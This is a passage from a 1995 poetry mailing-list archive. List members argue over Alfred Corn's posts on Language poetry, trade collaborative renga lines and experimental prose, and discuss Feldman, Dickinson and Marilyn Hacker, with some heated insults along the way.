Surely the fact that these pundits are applauded and praised is not the point. And in fact Marjorie's lament of the poetry world's prize structure struck me as a less determining, though somewhat curious, factor in shaking out the lines of poets, than is the function of her note in general delineation. (I should say,

there will never be an established prize structure for experimentalists as someone has pointed out on this list, significant prizes are a means of pulling the errant into the fold.) But, as I think your pointing out, De-Lineation (as opposed to sidleing up) is different and it is through a process of de-lineation that we can sharpen our definition of "the established" no matter who they may be.

↑ Index

898. H. T. KIRBY-SMITH
rough as a corn cob
Sun 27 Aug 1995

I have only just now begun to get a fix on what seeems to have happened with this Corn thing, and would enjoy hearing more about how it all got started. All I noticed at first was the tone of communications descending ex cathedra, as if broadcast from the roof of St. John the Divine, "To the Thessalonians...I mean, the Poetics List, greetings, with sorrowful apprehensions that you may have slipped into some Eastern heresy." His Eminence's emissaries were dispatched, his Eminence remaining aloof on said roof. Evidently this is One of those to whom one makes visits, nay is granted audiences, but who does not return visits. Maybe not the Holy Father himself, but surely, to judge from tone of the messages, among the more powerful Cardinals.

I did recognize the tone. I once addressed a letter to the Archbishop of Canterbury, using all the proper honorifics, asking that George Herbert's vicarage at Bemerton not be sold off but be kept as a museum. I got a letter from a high-up underling that was even snottier than those things from Corn.

Oh and I do hope that Ron Silliman has memorized a vastly expanded and enriched bio-bib of Corn to be rattled off next time it's needed. We wouldn't want to offend him again.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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899. Aldon L. Nielsen
Re: Another Death in the Family
Sun 27 Aug 1995

Just heard on the radio last night that John Gilmore had died recently. John was one of the greatest tenor saxophone players of our era, a major influence on

Coltrane, and another great freind of poets throughout the world. -- One of those musicians who actually thought about the poem he was creating music to accompany -- not sure if any of that ever got recorded, though -- Since John never had the musical equivalent of Ashbery's grand slam (Nat'l book award, pulitzer & nat'l book critics' circle award all in one gulp), the establishment (I liked it in the 60s when we used the even vaguer term "the system") never felt compelled to appropriate him.

("friend" for "freind" above)

If you've ever heard John once, you'll never forget his work -- and he was one of the most generous and open-minded people I ever met --

If you don't know his work, _Sun Ra Live at Montreaux_ is a good place to hear him.

Speaking of Ashbery, his "case" presents an interesting opportunity for reception studies -- compare the Bloom Ashbery to the David Lehman Ashbery to the Silliman Ashbery to the Ashbery as he is taught to college senior English majors from the Norton Anth -- a real study in contrasts -- and the work to be done by us critic types (often the same people who appear on other pages as poet types) is to account for the ways that those varied reading spring from the same texts (though, as with Williams, it's often the case that readers choose the Ashbery texts that seem most fitted to their own aesthetic, which explains the nearly universal rejection of _Tennis Court Oath_ along the Bloom-Vendler-you name it route))) --

got to drive to San Jose State in the morning to start a new semester -- see y'all when I get there.

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900. **Wystan Curnow**

Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25

Sun 27 Aug 1995

Dear marjorie and fellow Poetics discussants:

thank you, Marjorie, for the straight talking on this subject. Just so long as the Alfred Corns continue to regard poetry in the way that they do, I suspect it really is best they continue to believe in 'the big division between the LP movement and the rest of poetry'.

A poetic, be it LP or any other, is not determined by 'features' of the kind Corn lists (nor for that matter is the 'quality' of a poem, which issue Corn approaches in the same fashion), let alone some 'key' characteristic, or 'special feature' by means of which position in the marketplace, or value, can be established. If

Poetics is the theory of practice, then it is characterized by its purposes. What begins to take shape as a poetic are practices which implicitly and or explicitly take issue in a similar way with existing writing practices (within poetry and without it). Another way to say this I guess is that the differences in poetics that matter are ideological not stylistic. As are differences in taste. Well, I don't mean to lay down the law, but I did feel the issue, if you'll excuse the figure, was being skirted.

best,
wystan

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901. **Herb Levy**
Re: Size vs Use
Sun 27 Aug 1995

Joseph Zitt wrote (some time last week):

> *On 25 Aug 95 at 7:40, Herb Levy wrote:*
>
> *I can't find the exact quote right now, but the composer Morton Feldman says somewhere that when he began writing very large works (lasting 1-4 or more hours long) he had to severely limit his materials, because so many of the mammoth post-Wagnerian gesamtekunstwerks were massive failures. I hope that this idea helps.*
>
> *Ah, good point. OK, I grok the difference (I think).*
>
> *As luck would have it, I'm listening to some Feldman as I write this. I haven't heard any of his hyperlong pieces though, mostly due to the prohibitive cost of 4-CD sets.*

I wish I could recommend that you request that the local radio station play "For Phillip Guston" or such, but that's a little unlikely. Perhaps a library (public or, more likely, academic) can be cajoled into purchasing something.

Still there are good single CD recordings of "Piano & String Quartet," "Piano, Violin, Viola, Cello," "For Bunita Marcus," & "3 Voices." These are all lovely & idiomatically similar to the 2-4.5 hour pieces though they are also relatively short (less than the 80 minute time-limit for CDs, anyway).

For those who didn't get my point here, Feldman's pieces are quiet, intimate, personal, gorgeous, pieces that simply don't not to obey the usual standards of length for modern music.

Ron Silliman's take on countering the modernist imposition of "closure (teleology) on any project of such scope" rings true to me, both in terms of the

long poems he, Joseph Zitt & I have referred to in this context & in terms of Feldman's music.

Herb Levy
[redacted]

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902. Rod Smith
Re: Marjorie's Post
Sun 27 Aug 1995

The characterization by Tom Kirby-Smith of Corn "speaking from on high" seems to me more accurate than the characterization of "lines being drawn" around Marjorie's post-- did anybody say "If you don't agree w/ M.P. you have faltered into the nether-realm of cozzening disquises"? NO. My guess is L.H. will get a major award one of these days, which wld be very good, but it won't, unfortunately, substantially alter the terrain M.P descibed. Also, I think Mr. Corn was anything but ignored on the list. & finally, I'd like to *slightly* correct the mad new american mongrel picture I presented of myself with the observation that I rather like Stevens & still think The Wasteland a satisfying orchestral pastiche.

It seems some are hearing "the institution speaking" in Perloff, others in Corn, personally, I've been beating my carpet for 3 days AND ITS STILL THERE.
'Do the people wish to continue war under such circumstances?' It is a chinese signal.
The mud, the duckboards, published,
then lost
& become a figurehead "he said"
to protect their realms.

--Rod

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903. Jorge Guitart
Re: Renga
Mon 28 Aug 1995

On Sun, 27 Aug 1995, Sheila E. Murphy wrote:

> >In message <[redacted]> UB Poetics discussion
> group
> >writes:
> >> >On Sat, 26 Aug 1995, Rod Smith wrote:

> >> >
> >> >> In the books were dreams and in the dreams were books.
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> >> >> but narrow in the waist or waspish Sunday years ago
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> >> >> & opining, heavy humid air, cumulus amusing against the
> >> >> bleached ribcage ripcorded into compassed wind
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> >> >> flicka my best friend and the storm in the glass of water's
> >> >> halfway pertinent incision we keep making safe for ignorance
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> >> >> pockets in small furniture intended house sequentially several
> >> >> mountains away but it wasn't, you know, a big tango
> >> >> when the attorney general came, selah hales said, "Dias, oh,ho,
> >> >> kook!"
> >> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >> >> warehouse, curls
> >> >> no ideas but the woven fabric the texture so to speak was at the
> >> >> dry cleaners
> >> >> piping hot and gloved-in somewhere unsalted, perched on
> >> >> prescience
> >> >> the chair is sad, alas, and i've lusted tootles' livers
> >> >> the odor day toy a cello day dis chevys a bo coo daughter chose
> >> >> encore
> >> >> Flaubert because we're waiting all throughout eternity for
> >> >> moments to be
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> >> >> were hooks.
> >> >> All melded like striated film leftover in the pastel seeds of
> >> >> darkness
> >> >> falling like a counterirritant around the manchineel. Likewise
> >> >> sandpaper juxtaposed with seasoned instruments and recently soft
> >> >> fruit
> >> >> of subject's object status, violent transformation

> >> >> la Ste. Therese into beaming cumulus apokoinu switchback
> >> >> and in the u-turns were bookmobiles rounding angles considered
> >> >> shrill as pine left in the acres to be aging
> >> >> flawlessly, flutes sing genderless in trio, surprised
> >> >> by how quiet effort really is or is not, fast enough to sleep
> >> >> through thunderstorms, arm over thigh until light shakes
> >> >> petals free of names that rain across known skin forgotten
> >> >> alive in our hearse hurts, projective nurse if she is to
> >> >> go ahead
> >> >> and dance, composing instead of straining muscles, far eyes
> >> >> out, transplanted organs speak, the idiom
> >> >> inseams, a snare as solvently unequal-- the power
> >> >> of boys talking on their feet and men talking to their hands
> >> in whispers conducive to disrobing weaponry
> >down where dead men tell no lies and misdemeanors
> whisper the lies of sleep to form small scented chapters
 each with its own erotic carnival and lack of ruin

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904. **Jorge Guitart**
Re: Revenge of the Renga II
Mon 28 Aug 1995

---

 md writes
> jg writes:
> >
> > > In the books were dreams and in the dreams were books.
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> > > kissing the weatherwoman between her breasts as she
> > > gives gracious problem: fanatical snacks, landscape of
> > > flicka my best friend and the storm in the glass of water's
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> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to
> > > go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > of pretending you have no power ("Mistah Corn, he....
> > fed on grans, Im savin dis penny for anodder neo dude"
> jorge's back and yr gonna be sorry, hey lawdy lawd
> & beware of Airam the Nomad rising from ten thousand lakes

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905. Jorge Guitart
Re: bedside reading late late summer
Mon 28 Aug 1995

bedside reading yr book & learning a lot from it.
:-*

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906. Jorge Guitart
Re: Renga
Mon 28 Aug 1995

On Sun, 27 Aug 1995, George Bowering wrote:

> >
> > On Fri, 25 Aug 1995, Rod Smith wrote:
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> > > kissing the weatherwoman between her breasts as she
> > > gives gracious problem: fanatical snacks, landscape of
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> > > halfway pertinent incision we keep making safe for ignorance
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> > > falling like a counterirritant around the manchineel. Likewise
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> > > by how quiet effort really is or is not, fast enough to sleep
> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to
> > > go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > on for another night--rabbit rabbit rabbit rabbit
> > and ten dull words oft creep in one slow line
b.n.i.m.m (but not in my mirror) i dig gaby's bunnies

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907. **Jorge Guitart**
Re: Renga
Mon 28 Aug 1995

On Sat, 26 Aug 1995, Thomas Bell wrote:

> Sheila E. Murphy wrote
>
> >On Sat, 26 Aug 1995, Rod Smith wrote:
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> hold back the Eatern Horde renga take to horse
  play & violent stump time air just as i wanted to be some orb
>

↑ Index

908. **Steve Carll**

Re: Children of the Corn

Mon 28 Aug 1995

Ron Silliman writes:

> *That's what always has bedeviled me about the poetry in, say, The Nation, an ostensibly left journal that has (ever since Levertov left as poetry editor 30 years ago just as her own work was veering to the right) continually focused on a poetics of the most conservative assumptions. How those assumptions do NOT fit into a larger framework of conservativism/patriarchy I just don't get. It's what I've generally thought of as the "Marilyn Hacker Problem" (probably because she does it well, so it deserves to be looked at critically in her work) of writing unquestioningly in forms that institutionalize a world in which her gender and sexual orientation have historically (and not accidentally) oppressed and suppressed.*

I'm wondering about the word "unquestioningly" here. It's always seemed to me that Hacker's "sonnet novel" *Love, Death, and the Changing of the Seasons* was precisely a serious questioning and even deconstruction of the historical assumptions of that form from the perspective afforded by her gender and sexual orientation. And, perhaps more importantly, I think she succeeds to a great extent in de-institutionalizing the sonnet, turning it back into something resembling an empty shell which she then reconfigures as a vessel for what she wants to put in it (although this is, of course, an oversimplification, as no form is as fluid as its content.)

I'd love to hear you (or anyone else, for that matter) expand on this, actually. Can any form be "retrieved"? We recently had a discussion on this list about borrowing forms from other cultures and, either with no knowledge of how they operate in that culture, or by willfully ignoring how they operate in that culture, creating amazing work in the form. Can this be done from *within* the culture in which the form operates, or can we, even while creating, not get far enough outside our cultural assumptions (and if we can't, then does it matter what forms we work in?)

Steve

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909. **Thomas Bell**

Re: Renga

Mon 28 Aug 1995

Jorge Guitart wrote:

> *On Sat, 26 Aug 1995, Thomas Bell wrote:*

> Sheila E. Murphy wrote
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> >On Sat, 26 Aug 1995, Rod Smith wrote:
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> >> and in the u-turns were bookmobiles rounding angles considered
> >> shrill as pine left in the acres to be aging
> >> flawlessly, flutes sing genderless in trio, surprised
> >> by how quiet effort really is or is not, fast enough to sleep
> >> through thunderstorms, arm over thigh until light shakes
> >> petals free of names that rain across known skin forgotten
> >> alive in our hearse hurts, projective nurse if she is to
> >> go ahead
> >> and dance, composing instead of straining muscles, far eyes
> >> out, transplanted organs speak, the idiom
> >> inseams, a snare as solvently unequal-- the power
> >> of boys talking on their feet and men talking to their hands
> >> in whispers conducive to disrobing weaponry
> armaments sano in corporate corridors to
> hold back the Eatern Horde renga take to horse
  play & violent stump time air just as i wanted to be some orb
>
itally pivots and throwss with his gloved hand to get him at first.
We all wanted to play in the bigs and keeps of Arthurian woe

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910. Louis Cabri
surfacing
Mon 28 Aug 1995

I offer that last post of mine as "my head" sent-up for once - the utterly pathetic artifice of its style - in return, as poetic justice, for those heads I may have taken with seeming "predatory intent" since first posting. Fortunately there is a precedent to draw from "in Canada" of self-embarrassment as closure - in for example the saint figures of bpNichol's early work (and elsewhere too). Anyhow, best to everyone.

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911. George Bowering
Re: WASP
Mon 28 Aug 1995

In the Canadian military services during the WWII, a WAC (sometimes CWAC) was a woman in the army, a WREN was a woman in the air force, and a WAVE was a woman in the navy. I know that the terms were used long after the war, but I havent heard them used much lately. I think I remember that WACs were army women in the US, too.

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912. Sheila E. Murphy
Re: Renga
Mon 28 Aug 1995

>On Sun, 27 Aug 1995, Sheila E. Murphy wrote:
>
>> >In message <[redacted]> UB Poetics discussion
>> group
>> >writes:
>> >> >On Sat, 26 Aug 1995, Rod Smith wrote:
>> >> >
>> >> >> In the books were dreams and in the dreams were books.
>> >> >> And flew through windows, lightning green and fine morning
>> >> >> First inverted whistle of a cardinal in the poplar
>> >> >> The book and the oboe on the grass under sun and cloud
>> >> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> >> The caravan of windows to what they flee
>> >> >> These lace curtains, more gauze than bondage, more
>> >> >> Mollycoddled than aware, thin-spined and pebbling
>> >> >> but narrow in the waist or waspish Sunday years ago

>> >> >> Over coffee topped with whipped cream, the Times blowing
>> >> >> & opining, heavy humid air, cumulus amusing against the
>> >> >> bleached ribcage ripcorded into compassed wind
>> >> >> kissing the weatherwoman between her breasts as she
>> >> >> gives gracious problem: fanatical snacks, landscape of
>> >> >> flicka my best friend and the storm in the glass of water's
>> >> >> halfway pertinent incision we keep making safe for ignorance
>> >> >> (inspection
>> >> >> denied for not knowing how credenza was meant) & neo-colonizing
>> >> >> pockets in small furniture intended house sequentially several
>> >> >> mountains away but it wasn't, you know, a big tango
>> >> >> when the attorney general came, selah hales said, "Dias, oh,ho,
>> >> >> kook!"
>> >> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >> >> warehouse, curls
>> >> >> no ideas but the woven fabric the texture so to speak was at the
>> >> >> dry cleaners
>> >> >> piping hot and gloved-in somewhere unsalted, perched on
>> >> >> prescience
>> >> >> the chair is sad, alas, and i've lusted tootles' livers
>> >> >> the odor day toy a cello day dis chevys a bo coo daughter chose
>> >> >> encore
>> >> >> Flaubert because we're waiting all throughout eternity for
>> >> >> moments to be
>> >> >> of such suchness. In the nooks were creams and in the streams
>> >> >> were hooks.
>> >> >> All melded like striated film leftover in the pastel seeds of
>> >> >> darkness
>> >> >> falling like a counterirritant around the manchineel. Likewise
>> >> >> sandpaper juxtaposed with seasoned instruments and recently soft
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>> >> >> of subject's object status, violent transformation
>> >> >> la Ste. Therese into beaming cumulus apokoinu switchback
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>> >> >> by how quiet effort really is or is not, fast enough to sleep
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>> >> >> petals free of names that rain across known skin forgotten
>> >> >> alive in our hearse hurts, projective nurse if she is to
>> >> >> go ahead
>> >> >> and dance, composing instead of straining muscles, far eyes

>> >> >> out, transplanted organs speak, the idiom
>> >> >> inseams, a snare as solvently unequal-- the power
>> >> >> of boys talking on their feet and men talking to their hands
>> >> in whispers conducive to disrobing weaponry
>> >down where dead men tell no lies and misdemeanors
>> whisper the lies of sleep to form small scented chapters
> each with its own erotic carnival and lack of ruin,
plenty of stalagmites seeming to protect whatever we redeem within and of

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913. **beard**

Re: Hello Alfred Corn

Mon 28 Aug 1995

Herb wrote to Alfred Corn:

> *Apparently no one has ever discussed the ettiquette of news groups and mail lists with you. You're acting like a twit. Maybe you're a nice guy & don't mean to be such an asshole, so let me explain some things to you.*
>
> *When you start reading a newsgroup or mail list, you're supposed to shut up and read for a few weeks (at least), so you have a sense of the common discourse, what areas of the topic have already been covered, who's around the group, etc.*

Alfred's posts do have a quality of challenge about them, a challenge to what he sees as the assumptions of this list, and there was a hint of rudeness there. But words like "twit" and "asshole" can only escalate the flamewar, and seem to go beyond the response that a mere breach of netiquette would justify. Perhaps on comp.unix.nerds or whatever, where the net.gods take delight in proving their superiority over ignorant newbies; but not on a list such as this where respect and tolerance might be expected to be the norm.

Instead it seems that Alfred Corn has touched a nerve here, one more closely related to poetics than to listserv etiquette.

> *You don't just barge in to a mail list, ask a lot of questions and expect everyone to stop what they're doing and explain their lives to you.*

In a sense, I'm glad that Alfred _did_ barge in and ask them - some of these are questions that had been niggling in my mind since I joined the list several months ago. Questions such as _What is LangPo?_, _Is this a LangPo list?_, _How broad are people's interests on this list?_, _To what extent does this list represent contemporary American poetry?_ and _How does one read or judge LangPo?_. Through a lack of courage exacerbated by a surfeit of tact (although I am aware that the latter has not alway been in evidence in my posts ;-)) I have never got around to asking these questions. Corn's posts, while dripping

with sarcasm at times, have nevertheless provoked a series of intriguing and occasionally even enlightening replies, whereas a more mildly-worded set of questions might have been ignored.

In addition, the injuction not to "expect everyone to stops what they're doing and explain" would be more appropriate if this list had a FAQ. What usually irritates people about newbies' questions is that everyone asks them - what's interesting in this case is that Alfred's questions were central to what this list is about, but they appear to be very infrequently asked. It appears that most of the posters to this list are highly conversant with LangPo and its practitioners, whereas an outsider, whether geographical (such as myself) or sylistic (such as A.C.), might be forgiven a feeling of bewilderment. I'm not going to say that this list is homogeneous or insular, but it sometimes takes an outsider, whether in innocent curiosity or in snide animosity, to make people question the axioms that seem transparently true to them.

> *There's really no excuse for you to not know how few so-called language poets are on the list or how diverse the aesthetic interests of the people who regularly post here are.*

Well, one could be on this list for weeks, reading and deleting messages about soul, baseball players, US vs Canada, John Cage, Zen and Hole, and still not know whether (for instance) Ron Silliman is a "Language Poet", or find out what "Language Poetry" is. I'm not objecting to the chat on the list (I like chatty lists). I'm just pointing out that it can feel like a private club, where everyone knows everyone else and is in on the joke. For someone like me on the other side of the globe, without access to university resources, and who has to pay $60 and wait 3 months to order Olson's _Selected_, it would be nice to see some discussion of the _work_ of Ron S, Lyn H, Charles B and others.

I'm enjoying this list, and the (slow) process of learning about the kinds of poetry that people here enjoy. While I don't particularly agree with Corn's viewpoints, I must admit to gaining a kind of perverse pleasure at watching people's reactions to the little hand grenades that he's tossed into our midst from the other side of the ramparts.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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914. Michael Boughn
Re: Corn talk
Mon 28 Aug 1995

> *We all got locked in so quickly to the*
> *differences between "mainstream" and "avant-garde" or "Language writing"*
> *that real conversation had to be found between the shouts.The truth is*
> *that Corn is a serious writer and thinker about poetry;*

Dear Susan Schultz:

I don't think the "problem" had to do with getting locked into these differences. The problem was that Professor Corn's attitude was insufferably pompous, judgemental, and pretentious, and that every time he posted here, the post contained some veiled or not so veiled accusation, insult, or demand. Well, fuck him.

Given the huge differences on this list between various philosophical and poetic outlooks (some of which I would venture are at least as massive as those between Silliman and Corn), I have never encountered anyone here not open to real conversation. Frankly, I don't think any of this had to do with differences between approaches to poetry, or having a real conversation. I read or have read all the people on Professor Cornpone's pedigree, frequently with pleasure, always with interest, and a number of other people here expressed the same attitude. No, the problem here had to do with Cornpone's profound, unapologetic, and aggressive ignorance. How can anyone, in 1995, be a "serious thinker about poetry" and know nothing about alternative traditions to their own? And then have the arrogance, the gall, to accuse those others of being sectarian? What a dickhead.

The biggest problem with this e-space is you can't pick up a knife off the table and chase that asshole around the room with it. (Altough Herb did pretty good, given the limitations.)

Mike
[redacted]

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915. Gwyn McVay
Re: Children of the Corn
Mon 28 Aug 1995

If you want to take issue with Corn's notion that "unfamiliar methods of communication" are actually old hat because the French Symbolists used them--and I do want to take issue with that notion--you could point out that the hallowed Emily Dickinson used grammatical and syntactic ambiguity, ellipsis,

obliquity--as one critic pointed out, "unrecoverable deletion." (The source is _Emily Dickinson: A Poet's Grammar_; I'm spacing on the critic's name right now.) Or see Howe on E.D., who may have been a little more subversive than some of her staunch defenders give her credit for.

Gwyn

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916. **Jorge Guitart**
Re: Renga
Mon 28 Aug 1995

On Sun, 27 Aug 1995, Thomas Bell wrote:

> Jorge Guitart wrote:
>
> >On Sat, 26 Aug 1995, Thomas Bell wrote:
>
> > Sheila E. Murphy wrote
> >
> > >On Sat, 26 Aug 1995, Rod Smith wrote:
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> > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
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> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > >> & opining, heavy humid air, cumulus amusing against the
> > >> bleached ribcage ripcorded into compassed wind
> > >> kissing the weatherwoman between her breasts as she
> > >> gives gracious problem: fanatical snacks, landscape of
> > >> flicka my best friend and the storm in the glass of water's
> > >> halfway pertinent incision we keep making safe for ignorance
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> > >> pockets in small furniture intended house sequentially several
> > >> mountains away but it wasn't, you know, a big tango
> > >> when the attorney general came, selah hales said, "Dias, oh,ho,

> > >> kook!"
> > >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > >> warehouse, curls
> > >> no ideas but the woven fabric the texture so to speak was at the
> > >> dry cleaners
> > >> piping hot and gloved-in somewhere unsalted, perched on
> > >> prescience
> > >> the chair is sad, alas, and i've lusted tootles' livers
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> > >> fruit
> > >> of subject's object status, violent transformation
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> > >> of boys talking on their feet and men talking to their hands
> > >> in whispers conducive to disrobing weaponry
> > armaments sano in corporate corridors to
> > hold back the Eatern Horde renga take to horse
> play & violent stump time air just as i wanted to be some orb
> >
> itally pivots and throwss with his gloved hand to get him at first.
> We all wanted to play in the bigs and keeps of Arthurian woe
 tinkering with ever & chance (Bud & Lou had it right about *form*)

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917. **Jorge Guitart**
Re: Renga
Mon 28 Aug 1995

On Sun, 27 Aug 1995, Sheila E. Murphy wrote:

> >On Sun, 27 Aug 1995, Sheila E. Murphy wrote:
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> >> >> >> of boys talking on their feet and men talking to their hands
> >> >> in whispers conducive to disrobing weaponry
> >> >down where dead men tell no lies and misdemeanors
> >> whisper the lies of sleep to form small scented chapters
> > each with its own erotic carnival and lack of ruin,
> plenty of stalagmites seeming to protect whatever we redeem within and of
 the cave of caves in connecticut, but don't let me unleash you now that

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918. H. T. KIRBY-SMITH

Bill Moyers and "Shared values"

Mon 28 Aug 1995

I appreciate being sensitized by Ron Silliman to the risks of talking about "shared" values or ideals. I suppose I should have watched more of the Bill Moyers stuff, but... well.... he did start off as a Baptist preacher, then became

an apologist for Lyndon Johnson, whom I think of as more evil than Nixon because he seemed so humane at one point.

But to get back to poetics and "shared" things. Would "shareable" be any better? That wouldn't seem to presuppose aligning oneself with some already-established hierarchy.

I am much disturbed at any poetics that presupposes an incommunicable authenticity, a messianic or God-like bard who speaks a strange tongue which we fall down before and venerate but which we cannot understand. I don't like the idea of the reader, or listener, serving as the adoring substratum or pedestal. To me there's something creepily reminiscent of a religious ceremony in too many poetry readings--worse, since you don't even get to sing a hymn; it's all preaching or testifying. Once thought of starting an action group called SOPOR, Stamp Out Poetry Readings.

I never can quite get John Nims's epigram straight, the one about an approaching poetry reading:

A vision of the bard appears:
God help your booze, your wives....your ears.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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919. Gale Nelson
Re: music and poetry
Mon 28 Aug 1995

When I listen to tapes of the Four Horsemen or Kenward Elmslie, I do not attempt to categorize them out of music and into poetry or out of poetry and into music.

Gale Nelson

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920. Chris Scheil
corn detourned
Mon 28 Aug 1995

`

imperative land that: injury precedes doubt, only no reign in to this visit of amazed sum of originals restoring absolutes. Far seemed this thrill of latest

poop incoming. Get so imperative mail grating to cope opinion with an orchestra of misted anticipation auctioneers that apron to this rail. Imperative: awfully couple beef & biscuit, quiet then sorely of told prayer, thrilling pathos filled double. Kindred uncanny manifolds are serpentine; hearth thunders accidental (what hearth) wee yields beside the leaden lawn. Throughout arrangements, oak drains overhead. Who captures tigers, which imperative logic copes beyond until exclamations purify overhead.

To beloved: with opposite social ponds, imperatives don't tally, saying prayers, white developments to chase phrased sanatoriums: misery, chemical, laconic their thrill. Why is beauty absolute latest, nought aside space of polyglot implications abutting reason only set to latest? Anticipation, implication, a butte heaves north, iron individual, chatting on someone's anamatronic thrill, why only leaders to series this praise to yourself. Anticipation of esteem this span of abstract & paired wastes? On this practice ought incoming of exception pop: this imperfect that amaze poppas arrogate on esteem irons, that northern popul vuh joint evidently grammars ought to go banking, careering beauty bestows callings sorely perplexed, old, chemical only in calling the neighbors the same. Chicken abstracts pair in the extreme: when absolute slave drawbridged with absolute northward maladies of polyglot, down absolute really beloved auction this beloved anticipation in persons centrifugal rebuffs the edge of polyglot with esteem, irony, entry, lessons anticipated, figuring income on esteem, the met opinion excited in palms, release of what elegant hat throughout this? Implications about doubt, about wiped beef and enclosed sanatorium departures, this imperfect sum, whose winning never distressed aside of this out. Jointed till about a hundred abutted reflexes? Originals down the absolute only accidentally, sore in an equilibrium box, gout onto overhangs, respect sorely withheld in pleural anticipation of favours, districts overheard with absolute clatter, except.(?) Beauty howling.

Calling this scarlet tool implication extremely jars my assurance (cool assurance) sorely. Of this prayer say, "Job, joke a hundred jokes on madhouses absorbing ten districts," & popular assurances are easily got for these original rifles (original coffins, original wily coyotes?). Are there jointed tallywhackers that aren't an exception? Implication is in jointed, orange baying jokers, this distract of manifolds? What arrangements abstract stirring? Whispered death knells claw together this vapor cup, that health behold arguments to this exception of polyglotted & snowy debauches. One imperative heaved to another attempt by him to say why hearths doubled the tally of reflex; this "man" poops too, that he told to a racing individual with ADD. Offence throughout arrangements other than ribbon hearth jokes, building to history's exception to that hearing of double miniatures--living (imperative mail, leaden habitation).

Then say, "concerning foxed duplicates from outcry, Corn presaged we ought madly to dishonour & arrogate the external."

Original southern living, that. Wilt they arrange thrilling *fearfully* crushed oracles for that diver to cut "mail" from "man," to overwork towards beauty this destruction, this anticipation that purifys? What imperative danger loads to what help, purifying this detailed carpet of compunction & the clot of thought.

My pain's extreme: imperative to heave rebuff in a manageable anticipation of dinners that tally some glorious apprehension out of them. Imperative is anything I sorely excuse from the individual absolute comedy of accidental thinning. They digress to ally stertorous cores with the joined & are too oriental because their routine skinning schticks often precede the opening & displaying of green carry-lamps. That they are imps in love with a racing amazement regains my individually strewn ironic praise, marched sorely through slang for a motive alone. Hearty atonement, that these madhouses narrow the weary individual to a projection of mute squadrons in a suitable gulf (who are neither Nortoned nor sheeted), mayhap scarlet agoniste's baton, anticipating that individual encounter which some thrilling might cover. To "rebuff" the edge off other, per wrote beauty (my "cypress to help which other latch amaze from that tiger") turning; anticipation, implication just so, what arrangement is this directory that maniacs incoming by cartloads can accidentally yield this whole other slant? guns? Might be too humbled by that joint goodness to sceptic it in anguish, incoming to display this imperfect dye on which these polyglot ought to be batted. In location, so why sum to absolute dispatches, anticipation of the why is a clear absolute pledge in this use of dishonour?

In Amaze, my Camera

Alfresco Cornet

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921. **maria damon**

Re: Children of the Corn

Mon 28 Aug 1995

---

seve carll writes:
> Ron Silliman writes:
>
> >It's what I've generally
> >thought of as the "Marilyn Hacker Problem" (probably because she does
> >it well, so it deserves to be looked at critically in her work) of
> >writing unquestioningly in forms that institutionalize a world in which
> >her gender and sexual orientation have historically (and not

> >accidentally) oppressed and suppressed.
>
> I'm wondering about the word "unquestioningly" here. It's always seemed to
> me that Hacker's "sonnet novel" *Love, Death, and the Changing of the
> Seasons* was precisely a serious questioning and even deconstruction of the
> historical assumptions of that form from the perspective afforded by her
> gender and sexual orientation.
>
> I'd love to hear you (or anyone else, for that matter) expand on this,
> actually. Can any form be "retrieved"?
>
> Steve

bob perelman referred to the hacker phenomenon as "tuxedo porn," which immediately made me willing to reconsider her, whom i'd regarded with some impatience...md

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922. **Alan Golding**
Lost Mail
Mon 28 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

In my early morning/first day of semester fog, I just managed to delete three days of Poetics Digest (Fri.-Sun.). If I lost a personal message from you to me, can you please resend it or backchannel me? Thanks.

Alan

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923. **Mark Wallace**
Re: POETICS Digest - 26 Aug 1995 to 27 Aug 1995
Mon 28 Aug 1995

A message for Bob Drake that I thought I should send to the Poetics List to clear up any confusion:

Bob, in your recent list of magazines and authors, I noticed that next to the name of the magazine I publish (Situation) was a list of names of writers who have never appeared in the magazine, and my name appeared next to a magazine I've never been in. I don't mean this as a criticism, but were you trying to offer info about those magazines, or something else? Maybe I'm just

missing the point, but clarification would help me, and maybe others also... Hope I'm not being blatantly stupid here...

mark wallace

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924. **Chris Stroffolino**
Re: Children of the Corn
Mon 28 Aug 1995

Gwyn--I think the critic's name is Christine Miller---though the readings she offers of Dickinson are pretty peurile and/or conservative/traditional (LOADED GUN she reads pejoratively as an "adolescent fantasy"), you're right to point out that she points out her conservatism---Actually GWYN I've been thinking of raising this issue on the CAP-L list, where it might be more needed than here---(especially now that corn's gone as schultz says)---are you on that list? would you care to mention it there? chris stroffolino

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925. **Jorge Guitart**
poetry and music
Mon 28 Aug 1995

In the last 96 hours, two unrelated people have given me the (unsolicited) datum that the whole of Emily Dickinson's poetry can be sung to the tune of "The Yellow Rose of Texas". I tried it with "Title divine is mine/the wife without the sign/Acute degree conferred on me/Empress of Calvary, etc." and it sort of works.

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926. **Chris Stroffolino**
Re: Children of the Corn
Mon 28 Aug 1995

GWYN--there was a dreadful typo in my last note on Dickinson--- I mean that Miller points out that Dickinson's syntax, meter, ambiguities (even if we don't appeal to the recent work of MARTA WERNER etc) is NOT as "conservative" as the "scansion" crowd over at CAP-L (presumably) would say---Sorry for the confusion, chris....

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927. **Kenneth Goldsmith**
(no subject)
Mon 28 Aug 1995

